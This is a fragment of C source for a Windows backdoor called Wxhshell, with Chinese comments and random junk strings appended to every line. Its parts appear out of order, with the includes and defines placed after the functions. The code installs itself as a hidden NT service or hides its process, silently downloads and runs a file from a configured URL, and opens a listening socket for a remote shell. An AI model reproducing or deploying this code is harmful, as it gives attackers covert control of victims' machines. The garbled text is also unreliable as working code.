} PROCESS_BASIC_INFORMATION; Wvut)T
'K;4102\
PROCNTQSIP NtQueryInformationProcess; |l6<GWG+
O]Ry3j
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5O;a/q8"
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; uhC=
Ww'TCWk@
HANDLE hProcess; r?5@Etpg
PROCESS_BASIC_INFORMATION pbi; Uf7F8JZmM
<\}Y@g8
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); fcE/
if(NULL == hInst ) return 0; .UT,lqEkv
{0A[v}X ~
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); hVT=j ?~
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); DSDl[;3O{s
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); -~<q,p"e
}QWTPRn
if (!NtQueryInformationProcess) return 0; E+^} B/"
T}w*K[z
$
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); AjL?Qh4
if(!hProcess) return 0; LRCS)UBY(.
zgq_0w~X
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; MUCJ/GF*
v'
9( et
CloseHandle(hProcess); wQdW
lon
!ulLGmUn
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5|6z1{g8
if(hProcess==NULL) return 0; ."!8B9s
PBAz`y2
HMODULE hMod; YL9t3]
char procName[255]; Lilk8|?#W
unsigned long cbNeeded; 282+1X
+QXYU8bYZ
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); os(Jr!p_=
w}U5dM`
CloseHandle(hProcess); (AM,4)lW,
.kB3jfw0,
if(strstr(procName,"services")) return 1; // 以服务启动 +9Hk+.
=|6^)lt$
return 0; // 注册表启动 Top#u
} 9s\i(/RxW
U7*VIRibv+
// 主模块 3h D2C'KD
int StartWxhshell(LPSTR lpCmdLine) &aevR^f+
{ 1VjeP
*
SOCKET wsl; /SqFP
L]
BOOL val=TRUE; -9H!j4]T?
int port=0; DX%8.@
struct sockaddr_in door; S,`Sq8H
q*RaX
4V
if(wscfg.ws_autoins) Install(); ltr;pc*)
!7ZfT?&
port=atoi(lpCmdLine); bW
86Iw
Iu1Sj`A
if(port<=0) port=wscfg.ws_port; 3|83Jnh
t0asW5f
WSADATA data; F'5d\ v
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; LG&Q>pt.
*v:,rh
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; #nc@!+
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &Xl_sDvt
door.sin_family = AF_INET; z[lRb]:i[
door.sin_addr.s_addr = inet_addr("127.0.0.1"); m|ERf 2-
door.sin_port = htons(port); soqNzdTB2
UB&S 2g
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { rt@-Pw!B
closesocket(wsl); -4^@)~Y
return 1; WW\)B-}T
} dnX`F5zd
,[ J'!NC1
if(listen(wsl,2) == INVALID_SOCKET) { vZ nO
closesocket(wsl); H8t{ >C)]
return 1; <E}]t,'3
} '9p5UC
Wxhshell(wsl); k,NU,^ &
WSACleanup(); &W!d}, ;
a5U2[Ko80
return 0; bF Y)o Z
7].IT(
} 3 ?|; on
<0Egkz3s
// 以NT服务方式启动 aji~brq
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) WlQ&Yau
{ E'BH7JV
DWORD status = 0; b1,T!xL
DWORD specificError = 0xfffffff; 9}qfdbI
5.K$
X$+7}
serviceStatus.dwServiceType = SERVICE_WIN32; 3~3(G[w
serviceStatus.dwCurrentState = SERVICE_START_PENDING; u.L8tR:(
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; pXT$Y8M
serviceStatus.dwWin32ExitCode = 0; Yqhz(&*)
serviceStatus.dwServiceSpecificExitCode = 0; ;AL@<,8
serviceStatus.dwCheckPoint = 0; k89gJ5B$
serviceStatus.dwWaitHint = 0; x{`<);CQ
d$pf[DJQo
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); fddbXs0Sn
if (hServiceStatusHandle==0) return; UVBw;V
O->(9k <
status = GetLastError(); U` nS` p
if (status!=NO_ERROR) FiU;>t<)
{ ZLio8
serviceStatus.dwCurrentState = SERVICE_STOPPED; io?{ew
serviceStatus.dwCheckPoint = 0; *sIG&
serviceStatus.dwWaitHint = 0; )Q
serviceStatus.dwWin32ExitCode = status; +uiH0iGS
serviceStatus.dwServiceSpecificExitCode = specificError; ,Qi|g'a
SetServiceStatus(hServiceStatusHandle, &serviceStatus); PN^1
return; eGypXf%
} rPGE-d3
<:;:*s3]
serviceStatus.dwCurrentState = SERVICE_RUNNING; twHM~cTS
serviceStatus.dwCheckPoint = 0; ~S=fMv^BR
serviceStatus.dwWaitHint = 0; [@)z $W
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 59NWyi4i
} wZ3vF)2s
F']%q 0
// 处理NT服务事件,比如:启动、停止 U;Y}2
VOID WINAPI NTServiceHandler(DWORD fdwControl) ND9>`I5
{ rIWN!@.J
switch(fdwControl) h`;F<PFW
{ ;7`um
case SERVICE_CONTROL_STOP: rRG\:<a
serviceStatus.dwWin32ExitCode = 0; K#C56k q&
serviceStatus.dwCurrentState = SERVICE_STOPPED; D*r Zaqy
serviceStatus.dwCheckPoint = 0; f}ij=Y9
serviceStatus.dwWaitHint = 0; pB7Z;&9
{ }}bi#G:R+
SetServiceStatus(hServiceStatusHandle, &serviceStatus); GxBPEIim
} w@$o
return; *rFbehf H
case SERVICE_CONTROL_PAUSE: )%@WoBRj
serviceStatus.dwCurrentState = SERVICE_PAUSED; !#4HGjPI
break; kR~4O$riG
case SERVICE_CONTROL_CONTINUE: mF:s-+
serviceStatus.dwCurrentState = SERVICE_RUNNING; ABe^]HlH
break; !2M[
case SERVICE_CONTROL_INTERROGATE: {ugKv?e;
break; *9{Wn7pck/
}; %TTL^@1!b
SetServiceStatus(hServiceStatusHandle, &serviceStatus); {*Wwu
f.
} )I-?zyL
iXS-EB/
// 标准应用程序主函数 [tK:y[nk
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 6V6g{6W,/
{
83,1d*`
=? *"V-l
// 获取操作系统版本 c^)E:J/
OsIsNt=GetOsVer(); qkG;YGio
GetModuleFileName(NULL,ExeFile,MAX_PATH); /?-p^6U
~0r.3KTl"Y
// 从命令行安装 KY34 'Di
if(strpbrk(lpCmdLine,"iI")) Install(); 7{6.
o-<_X&"a|5
// 下载执行文件 M "P
if(wscfg.ws_downexe) { $`dNl#G,
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) BRzWZq%r3
WinExec(wscfg.ws_filenam,SW_HIDE); ggsi`Z{j?
} }%d-U;Tt2
tBI+uu aa2
if(!OsIsNt) { s=Q*|
// 如果时win9x,隐藏进程并且设置为注册表启动 X*yp=qI
HideProc(); HYnq x>L ~
StartWxhshell(lpCmdLine); {1U*:@j
} (tLQX~Ur
else 8=o5;]Cg
if(StartFromService()) 8*~:gZ7:
// 以服务方式启动 z'D{:q
StartServiceCtrlDispatcher(DispatchTable); JG4*B|3
else 8+cpNX
// 普通方式启动 e^_@^(||!6
StartWxhshell(lpCmdLine); -2ij;pkIW$
(BQ3M-
return 0; s /q5o@b{
} s@[t5R
U7%pOpO!
4S EC4yO
GaqG8%.
=========================================== D#[ :NXahn
(E(:F[.S
j/mp.'P1k
+Q]'kJ<s
yB{o_1tc
tskODM0Zf
" &b")`p&K
LP6FSo~K
#include <stdio.h> w >BFgb?
#include <string.h> &u\z
T
P
#include <windows.h> RW^ v {'o
#include <winsock2.h> +ENW=N
#include <winsvc.h> (KImqB$i.
#include <urlmon.h> CvWEXY_P2
?q }wl\"8
#pragma comment (lib, "Ws2_32.lib") rw0lXs#K<E
#pragma comment (lib, "urlmon.lib") LVl0:!>~
QLU;.&
#define MAX_USER 100 // 最大客户端连接数 !Jnw_)
#define BUF_SOCK 200 // sock buffer X0QS/S-+
#define KEY_BUFF 255 // 输入 buffer Ck%(G22-
W@C tF U9
#define REBOOT 0 // 重启 mg/kyua^
#define SHUTDOWN 1 // 关机 !:[n3.vm
NRF%Qd8I/2
#define DEF_PORT 5000 // 监听端口 wggHUr(g,
?s} E<Kr
#define REG_LEN 16 // 注册表键长度 <@!kR$Rd
#define SVC_LEN 80 // NT服务名长度 R+hS;F nh%
q$'&R